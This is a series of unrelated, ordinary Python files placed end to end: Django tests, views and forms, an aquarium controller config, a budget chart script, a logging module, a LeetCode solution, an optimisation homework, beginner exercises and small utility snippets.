import json
from django.template.defaultfilters import length
from django.test import TestCase
from tests.utils import *

class MessageModelTests(TestCase):
    # 初始化 新建管理员
    # 初始化 新建管理员
    def setUp(self):
        add_user_data(self)
        add_picture_and_exhibit_data(self)

    # 测试展览添加接口
    def test_exhibit_add(self):
        # 测试管理员发送请求
        set_cookie(self.client, self.admin_user)
        self.assertEqual(self.client.post('/exhibits/exhibit_add', {'title': 'test'}).status_code, 200)
        # self.assertEqual(length(Exhibit.objects.filter(id=self.secret_exhibit.id).first().tags.all()), 0)

        # 测试管理员发送错误请求 参数不全
        self.assertEqual(self.client.post('/exhibits/exhibit_add').status_code, 400)
        # self.assertEqual(length(Exhibit.objects.filter(id=self.secret_exhibit.id).first().tags.all()), 0)

        # 测试管理员发送错误请求 method error
        self.assertEqual(self.client.get('/exhibits/exhibit_add').status_code, 402)
        # self.assertEqual(length(Exhibit.objects.filter(id=self.secret_exhibit.id).first().tags.all()), 0)
        self.client.cookies.clear()

    # 测试展览删除接口
    def test_exhibit_delete(self):
        # 测试管理员发送请求
        set_cookie(self.client, self.admin_user)
        self.client.post("/exhibits/exhibit_delete", {'id': self.secret_exhibit.id})
        self.assertEqual(length(Exhibit.objects.filter(id=self.secret_exhibit.id)), 0)
        self.client.cookies.clear()

        # 测试管理员发送错误请求 post error
        set_cookie(self.client, self.admin_user)
        response = self.client.post("/exhibits/exhibit_delete")
        self.assertEqual(response.status_code, 400)
        self.client.cookies.clear()

        # 测试管理员发送错误请求 method error
        set_cookie(self.client, self.admin_user)
        response = self.client.get("/exhibits/exhibit_delete")
        self.assertEqual(response.status_code, 402)
        self.client.cookies.clear()

    # 测试单个展览搜索接口
    def test_exhibit_search(self):
        def send_search_get(search_public: int = 1):
            return self.client.get("/exhibits/exhibits_search",
                                   {"public": search_public,
                                    "title": "public",
                                    "tags": ["1", "2", "3"],
                                    "time[]": [2000000000, 4000000000],
                                    'order': 0,
                                    'search_range': [1, 10]
                                    })

        # 测试被封禁的用户发送请求
        set_cookie(self.client, self.freeze_user)
        response = send_search_get(1)
        self.assertEqual(response.status_code, 401)
        self.client.cookies.clear()

        # 测试普通用户请求未公开数据
        set_cookie(self.client, self.ordinary_user)
        response = send_search_get(2)
        print(json.loads(response.content.decode("UTF-8"))['data'])
        self.assertEqual(response.status_code, 401)

        # 测试普通用户请求合法数据
        response = send_search_get(1)
        print(json.loads(response.content.decode("UTF-8"))['data'])
        self.assertEqual(response.status_code, 200)
        self.client.cookies.clear()

        # 测试管理员用户请求隐私数据
        set_cookie(self.client, self.admin_user)
        response = send_search_get(2)
        print(json.loads(response.content.decode("UTF-8"))['data'])
        self.assertEqual(response.status_code, 200)

        # 测试管理员发送错误的请求
        response = self.client.post("/exhibits/exhibits_search")
        print(json.loads(response.content.decode("UTF-8"))['data'])
        self.assertEqual(response.status_code, 400)
        self.client.cookies.clear()

        # 测试未注册用户请求公开数据
        set_cookie(self.client, self.ordinary_register_user)
        response = send_search_get(1)
        print(json.loads(response.content.decode("UTF-8"))['data'])
        self.assertEqual(response.status_code, 200)
        self.client.cookies.clear()

    # def test_exhibit_modify(self):
    #     def send_search_get(modify_id:int=None,):
    #


# -*- coding: utf-8 -*-
from collections import OrderedDict
import datetime

isTest = True  # for tests without Raspberry Pi's GPIO
# isTest = False  # for the normal run

mplColorLoop = [  # used for plotting temperatures
    '#1f77b4', '#ff7f0e', '#2ca02c', '#d62728', '#9467bd',
    '#8c564b', '#e377c2', '#7f7f7f', '#bcbd22', '#17becf']
gaugeColor = {"lo": "#038cfc", "ok": "#19cf25", "hi": "#fc3c03"}
gaugeColor['alarm'] = gaugeColor['hi']
gaugeColor['warning'] = "#fcdf03"

outPins = OrderedDict([  # pins of Raspberry Pi as BCM
    # "state" sets initial state, state=None means to get it from GPIO
    ('heater', dict(pin=17, state=0, color='#ff3333')),  # 11
    ('cooler', dict(pin=27, state=0, color='#8888ff')),  # 13
    ('light', dict(pin=22, state=None, color='#ffffff')),  # 15
    ('stream', dict(pin=13, state=0, color='#93acfc')),  # 33
    ('filter-B', dict(pin=6, state=1, color='#55ff55')),  # 31
    ('filter-T', dict(pin=10, state=1, color='#55ff55')),  # 19
    ('filter-S', dict(pin=19, state=1, color='#55ff55')),  # 35
    ('UV-lamp', dict(pin=26, state=1, color='#ddddff')),  # 37
    ('feeding', dict(
        pin=None, state=0, color='#ffff33',
        toSwitchOffBefore=['stream', 'filter-B', 'filter-T', 'filter-S'],
        toSwitchOnAfter=['filter-B', 'filter-T', 'filter-S'],
        delay=datetime.timedelta(seconds=720 if not isTest else 12),
    ))
])

# Temperature sensors. Initial values are for test plots
temperatures = OrderedDict(
    [('T1', dict(value=25, color=mplColorLoop[0])),
     ('T2', dict(value=26, color=mplColorLoop[1])),
     ('T3', dict(value=27, color=mplColorLoop[2])),
     # ('T4', dict(value=28, color=mplColorLoop[3])),
     ])
temperatureUnit = u"ºC"
# 1-wire reading supplier:
temperatureSource = dict(device='arduino')
# temperatureSource = dict(device='raspberry', pin=4)
temperatureDisplayLimits = [25, 31]  # for plots and gauges
temperatureOutlierLimits = [15, 36]  # for plots and thermostat
temperatureAlarmLimits = [24, 29.75]  # for email alarms
temperatureColorSectors = [
    {"lo": 25.0, "hi": 28.2, "color": gaugeColor["lo"]},  # blue, too low
    {"lo": 28.2, "hi": 29.2, "color": gaugeColor["ok"]},  # green, norm
    {"lo": 29.2, "hi": 31.0, "color": gaugeColor["hi"]}]  # red, too high

thermostat = dict(
    active=True,  # None = remove from GUI; False = switch off
    limits=[28.7, 29.2],  # heat if T<lim[0] and cool if T>lim[1]
    delay=datetime.timedelta(minutes=3),  # not sooner after last switch
    heatingPins=['heater'],
    coolingPins=['cooler'],
    color='#bb66bb',
)

# Other sensors. Initial values are for test plots
# Note! These 4 objects:
# sensorsFromRaspberry, inPinsFromRaspberry,
# sensorsFromArduino and inPinsFromArduino
# must exist; they can be empty OrderedDict()

sensorsFromRaspberry = OrderedDict()
#    [('flow', dict(
#        kind=('counter', 5),  # the latter is a GPIO pin as BCM
#        value=15, limits=[5, 50], unit='L/min', color='#ff66ff',
#        colorSectors=[{"lo": 0., "hi": 10, "color": gaugeColor["lo"]},
#                      {"lo": 10, "hi": 20, "color": gaugeColor["ok"]},
#                      {"lo": 20, "hi": 50, "color": gaugeColor["hi"]}])),
#     ('pH', dict(
#        kind=('spi', 0),  # the latter is an ADC channel (MCP3008)
#        value=7, limits=[5, 8], unit='', color='#88ffff',
#        colorSectors=[{"lo": 0, "hi": 6, "color": gaugeColor["lo"]},
#                      {"lo": 6, "hi": 8, "color": gaugeColor["ok"]},
#                      {"lo": 8, "hi": 9, "color": gaugeColor["hi"]}])),
#     ('EC', dict(
#        kind=('spi', 1),  # the latter is an ADC channel (MCP3008)
#        value=500, limits=[200, 700], unit=u'µS/cm', color='#ffff88',
#        colorSectors=[{"lo": 0, "hi": 400, "color": gaugeColor["lo"]},
#                      {"lo": 400, "hi": 1000, "color": gaugeColor["ok"]},
#                      {"lo": 1000, "hi": 10000, "color": gaugeColor["hi"]}])),
#     ])
inPinsFromRaspberry = OrderedDict()
#    [('mains', dict(pin=5, state=1, color='#ffffff')),
#     ('BLE', dict(pin=7, state=1, color='#aaaaaa')),
#     ])

# == if you use Arduino: ======================================================
# it must send a str with space or tab separated values:
# temperatures if temperatureSource['device'] == 'arduino'
# values for all members of sensorsFromArduino
# values for all members of inPinsFromArduino
# =============================================================================
# any of the two limits can be None if you want them automatic.
sensorsFromArduino = OrderedDict(
    [('flow', dict(
        value=400, limits=[0, 800], unit='L/h', color='#ff66ff',
        colorSectors=[{"lo": 0, "hi": 400, "color": gaugeColor["lo"]},
                      {"lo": 400, "hi": 650, "color": gaugeColor["ok"]},
                      {"lo": 650, "hi": 800, "color": gaugeColor["hi"]}])),
     ('pH', dict(
         value=7, limits=[4.5, 7.5], unit='', color='#88ffff',
         colorSectors=[{"lo": 4.5, "hi": 5.25, "color": gaugeColor["alarm"]},
                       {"lo": 5.25, "hi": 6, "color": gaugeColor["warning"]},
                       {"lo": 6, "hi": 7.5, "color": gaugeColor["ok"]}])),
     ('EC', dict(
         value=350, limits=[0, 700], unit=u'µS/cm', color='#ffff88',
         colorSectors=[{"lo": 0, "hi": 100, "color": gaugeColor["lo"]},
                       {"lo": 100, "hi": 400, "color": gaugeColor["ok"]},
                       {"lo": 400, "hi": 700, "color": gaugeColor["hi"]}])),
     ('DO', dict(
         value=6, limits=[0, 8], unit=u'mg/L', color='#88ff88',
         colorSectors=[{"lo": 0, "hi": 2, "color": gaugeColor["alarm"]},
                       {"lo": 2, "hi": 5, "color": gaugeColor["warning"]},
                       {"lo": 5, "hi": 8, "color": gaugeColor["ok"]}])),
     ])
inPinsFromArduino = OrderedDict(
    [('mains', dict(state=1, color='#ffffff')),
     ('BLE', dict(state=0, color='#77ff77')),
     ('leak', dict(state=0, color='#99bbff')),
     ])

# USB port where Arduino is connected, check it with "ls /dev/tty*"
# portArduino = '/dev/ttyUSB*'  # this works with Uno|Nano
portArduino = '/dev/ttyACM*'  # this works with Nano Every
portArduinoBaudRate = 115200  # must match the value in ardquarium.ino
arduinoReadAttempts = 120
arduinoReadDelay = 1.  # s. When waiting for arduino serial
arduinoBootDelay = 12.  # s. When rebooting arduino after exceptions

plotPins = ['heater', 'cooler', 'mains', 'BLE']  # plot state of these pins
gaugePins = ['mains', 'BLE', 'leak']  # display state of these pins by gauges

wantEmailAlarms = []  # when emailAddress and emailPassword in __secret are undefined
# wantEmailAlarms = ['arduino', 'temperature', 'mains', 'BLE',  'leak',
#                    'intrusion']
if wantEmailAlarms:
    # remember: if you want emails,
    # both __secret.emailAddress and __secret.emailPassword must be defined
    delayUntilArduinoAlarm = datetime.timedelta(minutes=10)
    delayUntilTemperatureAlarm = datetime.timedelta(minutes=10)
    delayUntilMainsAlarm = datetime.timedelta(minutes=10)
    delayUntilBLEAlarm = datetime.timedelta(hours=2)
    delayUntilLeakAlarm = datetime.timedelta(minutes=0)
    intervalBetweenEmails = datetime.timedelta(minutes=15)

wantCronTable = True  # show switch time from crontable for each pin in outPins

dbInterval = 10. if not isTest else 2.  # database write interval in sec


import csv
import pandas as pd
from Model import Data
import numpy as np
import matplotlib.pyplot as plt

nameOfSourceArchive  = "dados.xlsx"
realizadoSheet = pd.read_excel(nameOfSourceArchive,usecols=list(range(1,13)))
monthList = []
orcadoSheet = pd.read_excel(nameOfSourceArchive,index_col=None,sheet_name=1)
dataList = {}
for number in range(12):
    data = Data()
    data.feito = realizadoSheet.values[1][number]
    dataList[realizadoSheet.values[0][number]+""] = data
    monthList.append(orcadoSheet.values[number][0]+"")
    dataList[orcadoSheet.values[number][0]+""].orcado = orcadoSheet.values[number][1]
with open('relatorio.csv', 'w') as csvfile:
    filewriter = csv.writer(csvfile, delimiter=',',quotechar='|', quoting=csv.QUOTE_MINIMAL)
    filewriter.writerow(['Mês', 'Orçado','Realizado','Diferença'])
    for month in monthList:
        filewriter.writerow([month.capitalize(), dataList[month].orcado,dataList[month].feito, dataList[month].getDifference()])
print("Arquivo CSV Gerado =)")

N = 12
listLucro = []
listFeito  = []
for month in monthList:
    listLucro.append(0 if dataList[month].getDifference()<0 else dataList[month].getDifference())
    listFeito.append(dataList[month].feito)
ind = np.arange(N)
width = 0.7

plt.figure().set_figwidth(25)
p1 = plt.bar(ind, listLucro, width,bottom=listFeito)
p2 = plt.bar(ind, listFeito, width)
plt.legend((p1[0], p2[0]), ('Orçado', 'Realizado'))

plt.ylabel('$')
plt.xlabel("Mês")
plt.title('Gráfico Orçamento')
plt.xticks(ind, monthList)
plt.yticks(np.arange(0, 450, 100))
plt.savefig('grafico.png')
print("Grafico Gerado =)")
plt.show()


"""
Module to implement logging facility for Pywork framework

Usage:
In __main__:
log = logger.set_logger('<logger name>')

In modules:
import logging
log = logging.getLogger(__name__)

"""

__author__ = 'sergey kharnam'

import os
import logger_const as lc
import utils as pu
import logging
import logging.config
from logging.handlers import RotatingFileHandler
import time
import yaml
import ctypes

log_dir_path = str()
logger_name = str()
log_file_info = str()
log_file_error = str()
log_file_debug = str()

# -----------------------------------------
# Logger setup

def set_logger(
        lgr_name,
        default_path=lc.LOG_DEFAULT_CONFIG_PATH,
        default_level='DEBUG',
        env_key='LOG_CFG'):
    """
    Setup logging configuration

    :param lgr_name: logger name
    :param default_path: path to logger conf file
    :param default_level: default log level
    :param env_key: set logger conf from env var
    :return: configured logger
    """
    # handling paths and files
    _set_log_file_names_and_paths(lgr_name=lgr_name)
    path = default_path
    value = os.getenv(env_key, None)

    if value:
        path = value
    if os.path.exists(path):
        with open(path, 'rt') as f:
            config = yaml.safe_load(f.read())
        logging.config.dictConfig(config)
    else:
        logging.basicConfig(level=default_level)

    return logging.getLogger(lgr_name)

# TODO: implement formatter_on() to back to default (or arbitrary) formatter
def formatter_off():
    f = logging.Formatter(fmt='%(message)s', style='%', datefmt='%Y-%m-%d %H:%M:%S')
    for h in logging.getLogger().handlers:
        h.setFormatter(f)

def _set_log_file_names_and_paths(lgr_name):
    symlink_dict = dict()
    global logger_name
    logger_name = lgr_name + '_' + time.strftime("%Y%m%d_%H%M%S")
    global log_dir_path
    log_dir_path = lc.LOG_DIR_BASE + logger_name
    global log_file_info
    log_file_info = log_dir_path + '/' + logger_name + lc.LOG_FILE_EXTENSION_INFO
    symlink_dict[lc.LOG_FILE_SYMLINK_INFO] = log_file_info
    global log_file_error
    log_file_error = log_dir_path + '/' + logger_name + lc.LOG_FILE_EXTENSION_ERROR
    symlink_dict[lc.LOG_FILE_SYMLINK_ERROR] = log_file_error
    global log_file_debug
    log_file_debug = log_dir_path + '/' + logger_name + lc.LOG_FILE_EXTENSION_DEBUG
    symlink_dict[lc.LOG_FILE_SYMLINK_DEBUG] = log_file_debug

    pu.create_dir(log_dir_path)
    pu.create_symlinks_to_files(**symlink_dict)

# -----------------------------------------
# Log handlers

class FileHandlerDebug(RotatingFileHandler):
    """
    Class to extend original logging.RotatingFileHandler functionality
    This handler is responsible to handle DEBUG, INFO, WARNING, ERROR and CRITICAL levels
    Output to log file only
    """

    def __init__(self, max_bytes, backup_count):
        super().__init__(filename=log_file_debug,
                         maxBytes=max_bytes,
                         backupCount=backup_count)

class FileHandlerInfo(RotatingFileHandler):
    """
    Class to extend original logging.RotatingFileHandler functionality
    This handler is responsible to handle INFO, WARNING, ERROR and CRITICAL levels
    Output to console and to log files
    """

    def __init__(self, max_bytes, backup_count):
        super().__init__(filename=log_file_info,
                         maxBytes=max_bytes,
                         backupCount=backup_count)

class FileHandlerError(RotatingFileHandler):
    """
    Class to extend original logging.FileHandler functionality
    This handler is responsible to handle only ERROR and CRITICAL levels
    Output to console and to log files
    """

    def __init__(self, max_bytes, backup_count):
        super().__init__(filename=log_file_error,
                         maxBytes=max_bytes,
                         backupCount=backup_count)

class ColorizingStreamHandler(logging.StreamHandler):
    """
    Colorize TTY output
    """
    # color names to indices
    color_map = {
        'black': 0,
        'red': 1,
        'green': 2,
        'yellow': 3,
        'blue': 4,
        'magenta': 5,
        'cyan': 6,
        'white': 7,
    }

    # levels to (background, foreground, bold/intense)
    if os.name == 'nt':
        level_map = {
            logging.DEBUG: (None, 'blue', True),
            logging.INFO: (None, 'white', False),
            logging.WARNING: (None, 'yellow', True),
            logging.ERROR: (None, 'red', True),
            logging.CRITICAL: ('red', 'white', True),
        }
    else:
        level_map = {
            logging.DEBUG: (None, 'blue', False),
            logging.INFO: (None, 'white', False),
            logging.WARNING: (None, 'yellow', False),
            logging.ERROR: (None, 'red', False),
            logging.CRITICAL: ('red', 'white', True),
        }
    csi = '\x1b['
    reset = '\x1b[0m'

    @property
    def is_tty(self):
        isatty = getattr(self.stream, 'isatty', None)
        return isatty and isatty()

    def emit(self, record):
        try:
            message = self.format(record)
            stream = self.stream
            if not self.is_tty:
                stream.write(message)
            else:
                self.output_colorized(message)
            stream.write(getattr(self, 'terminator', '\n'))
            self.flush()
        except (KeyboardInterrupt, SystemExit):
            raise
        except:
            self.handleError(record)

    if os.name != 'nt':
        def output_colorized(self, message):
            self.stream.write(message)
    else:
        import re
        ansi_esc = re.compile(r'\x1b\[((?:\d+)(?:;(?:\d+))*)m')

        nt_color_map = {
            0: 0x00,  # black
            1: 0x04,  # red
            2: 0x02,  # green
            3: 0x06,  # yellow
            4: 0x01,  # blue
            5: 0x05,  # magenta
            6: 0x03,  # cyan
            7: 0x07,  # white
        }

        def output_colorized(self, message):
            parts = self.ansi_esc.split(message)
            write = self.stream.write
            h = None
            fd = getattr(self.stream, 'fileno', None)
            if fd is not None:
                fd = fd()
                if fd in (1, 2):  # stdout or stderr
                    h = ctypes.windll.kernel32.GetStdHandle(-10 - fd)
            while parts:
                text = parts.pop(0)
                if text:
                    write(text)
                if parts:
                    params = parts.pop(0)
                    if h is not None:
                        params = [int(p) for p in params.split(';')]
                        color = 0
                        for p in params:
                            if 40 <= p <= 47:
                                color |= self.nt_color_map[p - 40] << 4
                            elif 30 <= p <= 37:
                                color |= self.nt_color_map[p - 30]
                            elif p == 1:
                                color |= 0x08  # foreground intensity on
                            elif p == 0:  # reset to default color
                                color = 0x07
                            else:
                                pass  # error condition ignored
                        ctypes.windll.kernel32.SetConsoleTextAttribute(h, color)

    def colorize(self, message, record):
        if record.levelno in self.level_map:
            bg, fg, bold = self.level_map[record.levelno]
            params = []
            if bg in self.color_map:
                params.append(str(self.color_map[bg] + 40))
            if fg in self.color_map:
                params.append(str(self.color_map[fg] + 30))
            if bold:
                params.append('1')
            if params:
                message = ''.join((self.csi, ';'.join(params),
                                   'm', message, self.reset))
        return message

    def format(self, record):
        message = logging.StreamHandler.format(self, record)
        if self.is_tty:
            # Don't colorize any traceback
            parts = message.split('\n', 1)
            parts[0] = self.colorize(parts[0], record)
            message = '\n'.join(parts)
        return message


# easy

'''
Given a string s, reverse only all the vowels in the string and return it.

The vowels are 'a', 'e', 'i', 'o', and 'u', and they can appear in both lower and upper cases, more than once.
'''

# https://leetcode.com/problems/reverse-vowels-of-a-string/

# Two pointer
class Solution:
    def reverseVowels(self, s: str) -> str:

        s = list(s)
        head = 0
        rear = len(s)-1
        data = {'a', 'e', 'i', 'o', 'u', 'A', 'E', 'I', 'O', 'U'}

        while head < rear:

            while head < len(s) and s[head] not in data:
                head += 1
            while rear > 0 and s[rear] not in data:
                rear -= 1

            if head < rear:
                s[head], s[rear] = s[rear], s[head]
                head += 1
                rear -= 1

        return "".join(s)

# Time complexity = O(n)
# Space complexity = O(n)


from django.db.models import Avg, Count, F
from django.contrib.auth.decorators import login_required
from django.contrib import messages
from django.contrib.postgres.search import (
    SearchVector, SearchQuery, SearchRank)
from django.shortcuts import render, get_object_or_404, redirect
from django.conf import settings

from .models import Region, Trail, Comment, Favorite
from .forms import CommentForm, SearchForm
from .utils import get_page

def index(request):
    """
    Renders index page.
    Gets all regions list (navigation) and top trails list
    from context processor and inclusion tag.
    """
    return render(request, 'trails/index.html')

def region_detail(request, slug_region):
    """
    Renders page with detailed information about region.
    Gets all regions list (navigation) and top region trails
    from context processor and inclusion tag.
    """
    region = get_object_or_404(
        Region.objects.prefetch_related('photos'),
        slug=slug_region
    )
    context = {
        'region': region,
    }
    return render(request, 'trails/region_details.html', context=context)

def trails_list(request, slug_region=None):
    """
    Renders page with trails list for selected region (if slug_region)
    or total list (if slug_region is None).
    Gets all regions list (navigation) from context processor.
    """
    if slug_region:
        region = get_object_or_404(Region, slug=slug_region)
        trails = region.trails.filter(is_published=True)
    else:
        region = None
        trails = Trail.objects.filter(is_published=True)
    trails = (trails
              .select_related('region')
              .annotate(avg_rank=Avg('comments__ranking'))
              .annotate(count_favorite=Count('favorite'))
              .order_by(F('avg_rank').desc(nulls_last=True), '-count_favorite')
              )
    favorites = []
    if request.user.is_authenticated:
        favorites = (Favorite.objects
                     .filter(user=request.user)
                     .values_list('trail', flat=True))
    page_obj = get_page(
        request, trails, settings.TRAILS_NUMBER_ALL_TRAILS_PAGE)
    context = {
        'page_obj': page_obj,
        'region': region,
        'favorites': favorites,
    }
    return render(request, 'trails/trails_list.html', context)

def trail_detail(request, slug_trail):
    """
    Renders page with detailed information about trail.
    Gets all regions list (navigation) and top region trails
    from context processor and inclusion tag.
    """
    trail = get_object_or_404(
        Trail.objects.select_related('region').prefetch_related('photos'),
        slug=slug_trail, is_published=True
    )
    favorite = (Favorite.objects
                .filter(user=request.user, trail=trail).exists()
                if request.user.is_authenticated
                else False)
    form = CommentForm()
    comments = trail.comments.filter(is_active=True).select_related('author')
    agregate_comments = comments.aggregate(Avg('ranking'), Count('id'))
    context = {
        'trail': trail,
        'favorite': favorite,
        'average_rating': agregate_comments['ranking__avg'],
        'count': agregate_comments['id__count'],
        'comments': comments[:settings.COMMENTS_NUMBER_TRAIL_PAGE],
        'form': form,
    }
    return render(request, 'trails/trail_details.html', context=context)

@login_required
def add_comment(request, slug_trail):
    """
    Creates new comment if user is authenticated or redirects to login.
    """
    trail = get_object_or_404(Trail, slug=slug_trail, is_published=True)
    form = CommentForm(request.POST or None)
    if form.is_valid():
        comment = form.save(commit=False)
        comment.author = request.user
        comment.trail = trail
        comment.save()
        messages.success(request, 'Комментарий успешно сохранен.')
    else:
        messages.error(request, 'Возникла ошибка.  Комментарий не сохранен.')
    return redirect('trails:trail_detail', slug_trail=slug_trail)

@login_required
def edit_comment(request, slug_trail, pk):
    comment = get_object_or_404(Comment, pk=pk, is_active=True)
    if request.user != comment.author:
        return redirect('trails:trail_detail', slug_trail)
    form = CommentForm(request.POST or None, instance=comment)
    if form.is_valid():
        form.save()
        messages.success(request, 'Изменения успешно сохранены.')
        return redirect('trails:trail_detail', comment.trail.slug)
    return render(request, 'trails/comment_edit.html', {'form': form})

@login_required
def delete_comment(request, slug_trail, pk):
    comment = get_object_or_404(Comment, pk=pk, is_active=True)
    if request.user != comment.author:
        return redirect('trails:trail_detail', slug_trail)
    form = CommentForm(instance=comment)
    if request.method == 'POST':
        comment.delete()
        messages.success(request, 'Комментарий успешно удалён.')
        return redirect('trails:trail_detail', slug_trail)
    return render(request, 'trails/comment_delete.html', {'form': form})

def comments_list(request, slug_trail):
    """
    Renders comments to trail paginated list.
    Gets all regions list (navigation) and top region trails
    from context processor and inclusion tag.
    """
    trail = get_object_or_404(
        Trail.objects.select_related('region'),
        slug=slug_trail, is_published=True
    )
    comments = trail.comments.filter(is_active=True).select_related('author')
    page_obj = get_page(
        request, comments, settings.COMMENTS_NUMBER_COMMENTS_PAGE)
    context = {
        'trail': trail,
        'page_obj': page_obj,
    }
    return render(request, 'trails/comments_list.html', context=context)

def trails_search(request):
    """Postgres full text search in trails text data."""
    form = SearchForm()
    query = None
    results = []
    if 'query' in request.GET:
        form = SearchForm(request.GET)
        if form.is_valid():
            query = form.cleaned_data['query']
            search_vector = (
                SearchVector(
                    'name', weight='A', config='russian')
                + SearchVector(
                    'short_description', weight='B', config='russian')
                + SearchVector(
                    'full_description', weight='B', config='russian')
                + SearchVector(
                    'start_point_description', weight='C', config='russian')
                + SearchVector(
                    'aqua', weight='C', config='russian')
            )
            search_query = SearchQuery(query, config='russian')

            results = (Trail.objects.filter(is_published=True)
                       .annotate(search=search_vector,
                                 rank=SearchRank(search_vector, search_query))
                       .filter(search=search_query)
                       .filter(rank__gte=0.3)
                       .order_by('-rank'))
    context = {
        'form': form,
        'query': query,
        'results': results,
    }
    return render(request, 'trails/search.html', context=context)

@login_required
def favorite_list(request):
    """Current user's favorite trails list."""
    trails = (Trail.objects
              .filter(favorite__user=request.user, is_published=True)
              .select_related('region')
              .annotate(avg_rank=Avg('comments__ranking'))
              .order_by(F('avg_rank').desc(nulls_last=True))
              )
    favorites = trails.values_list('id', flat=True)
    page_obj = get_page(
        request, trails, settings.TRAILS_NUMBER_ALL_TRAILS_PAGE)
    context = {
        'page_obj': page_obj,
        'favorites': favorites
    }
    return render(request, 'trails/favorite.html', context)

@login_required
def add_favorite(request, slug_trail):
    """Add trail to current user's favorites."""
    trail = get_object_or_404(Trail, slug=slug_trail, is_published=True)
    Favorite.objects.get_or_create(user=request.user, trail=trail)
    return redirect('trails:favorite_list')

@login_required
def delete_favorite(request, slug_trail):
    """Delete trail from current user's favorites."""
    trail = get_object_or_404(Trail, slug=slug_trail, is_published=True)
    Favorite.objects.filter(user=request.user, trail=trail).delete()
    redirect_path = request.META.get('HTTP_REFERER') or 'trails:favorite_list'
    return redirect(redirect_path)


#!/bin/python
import promoterz
import evaluation

def showBacktestResult(backtestResult, dataset=None):
    messageBackbone = ''.join([
        'Test on random candles...  ',
        'relativeProfit: %.3f \t',
        'nbTrades: %.1f\t',
        'sharpe: %.2f'
    ])

    message = messageBackbone % (
        backtestResult['relativeProfit'],
        backtestResult['trades'],
        backtestResult['sharpe']
    )

    if dataset:
        message += "\n\t\t%s\t%s" % (dataset.textDaterange(),
                                     dataset.textSpecifications())

    return message

def parseDatasetInfo(purpose, candlestickDataset):
    textdaterange = evaluation.gekko.datasetOperations.dateRangeToText(
        candlestickDataset.daterange)
    print()
    Text = "\n%s candlestick dataset %s\n" % (purpose, textdaterange)
    Text += candlestickDataset.textSpecifications() + '\n'
    return Text


### Homework 7
# Accelerated Proximal Gradient Descent implementation for Compressed Sensing.
#
# Princess Tara Zamani
# 10/30/2021

import numpy as np
import matplotlib.pyplot as plt

def Accelerated_ProximalGradientDescent(x0, y0, A, b, z, k_iterations, momentum_coeff_method, lr, lam):
    x_current = x0
    y_current = y0
    y_pred = np.zeros(k_iterations)

    # Create momentum coefficient based on method
    if momentum_coeff_method == "(2) Proper Constant":
        momentum_coeff = 0.5
    elif momentum_coeff_method == "(3) Zero":
        momentum_coeff = 0
    else:
        momentum_coeff = 0 # k/(k+3) when k = 0 for Iteration Based method initialization

    # Iteratively update x_k+1
    for k in range(k_iterations):
        # Update Momentum coefficient if necessary
        if momentum_coeff_method == "(1) Iteration Based":
            momentum_coeff = k / (k+3)

        inner_calc = np.matmul(A, y_current) - b
        grad = np.matmul(A.T, inner_calc)  # Calculate gradient
        gd_update_rule = y_current - lr*grad
        prox = np.sign(gd_update_rule) * np.maximum(np.abs(gd_update_rule) - lam, 0) # proximal operator of lam*||.||_1
        x_next = prox # Update gradient
        y_next = x_next + momentum_coeff*(x_next - x_current)
        x_current = x_next  # Update x_current
        y_current = y_next  # Update y_current

        y_pred[k] = 1/2 * np.square(np.linalg.norm(inner_calc, 2)) + lam*np.linalg.norm(y_current, ord=1) # Accumulate predicted F(y_k)

    return y_pred #est_err

def main():

    # Data Generation
    n = 1000 # Dimensions
    m = int(0.1*n)  # Number of measurements
    variance = 0.1   # Noise variance. The bigger = more noise.

    #### Accelerated Proximal GD for Compressed Sensing

    lam = 0.1 # Fine Tuned value
    z = np.abs(np.random.randn(n,1)) # Underlying signal
    z[:int(0.95 * len(z))] = 0 # Set first 95% of entries in z to zero to make it sparse
    np.random.shuffle(z) # Shuffle z for random sparsity

    a = np.random.normal(0, 1, size=(n, m)) # Gaussian measurement vector ~N(0,1)
    a = a / np.linalg.norm(a,2)   # Normalize vector

    delta = np.random.normal(0, variance, size=m)
    b = np.zeros(m)
    for i in range(m):
        b[i] = np.matmul(a[:,i].T, z) + delta[i]   # Observations

    A = a.T

    # Gradient Descent for LMS
    x0 = np.abs(np.random.randn(n,1))
    y0 = x0.copy()
    lr = 1e-3  # Learning rate
    momentum_coeff_methods= ["(1) Iteration Based", "(2) Proper Constant", "(3) Zero"]
    k = 25

    # Plot training loss for each momentum coeff
    plt.figure(1)
    for momentum_method in momentum_coeff_methods:
        y = Accelerated_ProximalGradientDescent(x0, y0, A, b, z, k, momentum_method, lr, lam)
        plt.plot(range(k), y, label=momentum_method)

    plt.title('Training Loss Curve for Accelerated Proximal Gradient Descent on Compressive Sensing')
    plt.xlabel('Iteration Count, $k$')
    plt.ylabel('Loss, $F (y_k)$')
    plt.legend()
    plt.show()

if __name__ == "__main__":
    main()


#Django Related imports
from django import forms

class AddEventForm(forms.Form):
    name_of_event   = forms.CharField(max_length = 200, label='Name of Event :')
    hosted_by       = forms.CharField(max_length = 100 , required = True)
    description     = forms.CharField(widget=forms.Textarea, required = True)
    location        = forms.CharField(max_length = 100)
    start_date      = forms.DateField(widget=forms.TextInput(attrs=
                                { 'class':'datepicker'}),
                                required = True)
    end_date        = forms.DateField(widget=forms.TextInput(attrs=
                                { 'class':'datepicker'})
    ,required = True)
    public_url      = forms.URLField(max_length = 500 , required = False)
    event_image     = forms.FileField(required = False)


def countdown(val):
    theList = []
    for i in range(val, -1, -1):
        theList.append(i)
    return theList
print(countdown(10))

def printAndReturn(theList):
    print(theList[0])
    return theList[1]
print(printAndReturn([0, 2]))

def firstPlusLength(theList):
    sum = theList[0] + len(theList)
    return sum
print(firstPlusLength([0, 1, 2, 3, 4]))

def greaterThanSecond(theList):
    if(len(theList) < 2):
        return False
    counter = 0
    newList = []
    for i in theList:
        if(i > theList[1]):
            counter += 1
            newList.append(i)
    print(counter)
    return newList
print(greaterThanSecond([1, 2, 4, 10, 20, 1]))

def arrayOfSize(size, val):
    theList = []
    for i in range(size):
        theList.append(val)
    return theList
print(arrayOfSize(10, 5))


import python_weather
import spacy
from speak import speak
def recognize_city(query):
    city = None
    nlp = spacy.load('en_core_web_sm')
    processed_query = nlp(query)
    for ent in processed_query.ents:
        if ent.label_ == 'GPE':
            city = ent.text
    return city

async def weather_report(city):
    async with python_weather.Client(unit=python_weather.IMPERIAL) as client:
        weather = await client.get(city)

        speak(f'Its currently {weather.current.temperature} degrees in {city}.')


#!/usr/bin/env python
# -*- coding: utf-8 -*-

import scrapy
import re
import datetime
from meizitu.items import MeizituItem

class MeizituSpider(scrapy.Spider):
    '''
    妹子图spider
    '''

    name = 'meizitu'
